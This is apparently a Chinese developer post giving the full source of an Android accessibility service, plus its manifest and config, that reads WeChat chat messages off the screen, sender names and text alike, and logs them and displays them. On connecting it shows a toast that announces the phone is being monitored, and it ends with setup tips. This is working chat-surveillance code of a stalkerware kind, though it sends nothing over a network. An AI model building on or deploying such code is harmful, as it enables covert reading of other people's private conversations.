服务代码：

package com.hangzhou.rongke.myapplication;

import android.accessibilityservice.AccessibilityService;
import android.annotation.TargetApi;
import android.content.Intent;
import android.os.Build;
import android.support.annotation.RequiresApi;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import android.widget.Toast;

import com.zyf.fwms.commonlibrary.utils.CommonUtils;
import com.zyf.fwms.commonlibrary.utils.LogUtil;

import java.util.List;

/**
 * 创建 by lyf on 2018/6/13.
 * 描述：
 */

public class WeChatLogService extends AccessibilityService {

    /**
     * 聊天对象
     */
    private String ChatName;
    /**
     * 聊天最新一条记录
     */
    private String ChatRecord = "test";

    @RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN)
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        int eventType = event.getEventType();
        switch (eventType) {
            //每次在聊天界面中有新消息到来时都出触发该事件
            case AccessibilityEvent.TYPE_VIEW_SCROLLED:
                //获取当前聊天页面的根布局
                AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                //获取聊天信息
                getWeChatLog(rootNode);
                break;
        }

    }

    /**
     * 遍历聊天记录
     *
     * @param rootNode
     */

    @RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN_MR2)
    private void getWeChatLog(AccessibilityNodeInfo rootNode) {
        try {
            if (rootNode != null) {
                //获取所有聊天的线性布局
                List<AccessibilityNodeInfo> listChatRecord = rootNode.findAccessibilityNodeInfosByViewId("com.tencent.mm:id/c9b");
                if (listChatRecord.size() == 0) {
                    return;
                }
                //所有对话
                List<AccessibilityNodeInfo> as4 = listChatRecord.get(0).findAccessibilityNodeInfosByViewId("com.tencent.mm:id/as4");
                if(as4.size()==0){
                    return;
                }
               for(int i=0;i<as4.size();i++){
                   AccessibilityNodeInfo nodeInfo = as4.get(i);
                   List<AccessibilityNodeInfo> as6 = nodeInfo.findAccessibilityNodeInfosByViewId("com.tencent.mm:id/as6");
                   List<AccessibilityNodeInfo> as8 = nodeInfo.findAccessibilityNodeInfosByViewId("com.tencent.mm:id/as8");
                   String name = as6.get(0).getText().toString();
                   String text = as8.get(0).getText().toString();
                   LogUtil.getInstance().e(name+":"+text);
                   Toast.makeText(getApplicationContext(),name+":"+text,Toast.LENGTH_SHORT).show();
               }

            }
        }catch (Exception e){
            LogUtil.getInstance().e(e.getMessage());
        }

    }

    /**
     * 必须重写的方法：系统要中断此service返回的响应时会调用。在整个生命周期会被调用多次。
     */
    @Override
    public void onInterrupt() {
        LogUtil.getInstance().e("我快被终结了啊");

    }



    /**
     * 服务开始连接
     */
    @Override
    protected void onServiceConnected() {
        LogUtil.getInstance().e("服务已开启");
        Toast.makeText(getApplicationContext(),"你的手机已经被我监控了",Toast.LENGTH_SHORT).show();

        super.onServiceConnected();
    }

    /**
     * 服务断开
     *
     * @return
     */
    @Override
    public boolean onUnbind(Intent intent) {
        LogUtil.getInstance().e("服务已被关闭");
        return super.onUnbind(intent);
    }
}

配置清单：

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.hangzhou.rongke.myapplication">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:testOnly="false"
        android:theme="@style/AppTheme">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service
            android:name=".WeChatLogService"
            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
            <intent-filter>
                <action android:name="android.accessibilityservice.AccessibilityService"/>
            </intent-filter>

            <meta-data
                android:name="android.accessibilityservice"
                android:resource="@xml/accessibility"/>
        </service>
    </application>

</manifest>

@xml/accessibility

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
    android:accessibilityEventTypes="typeAllMask"
    android:accessibilityFeedbackType="feedbackSpoken"
    android:canRetrieveWindowContent="true"
    android:description="@string/reply"
    android:notificationTimeout="1000"/>

提示：

需要开启无障碍服务和自启服务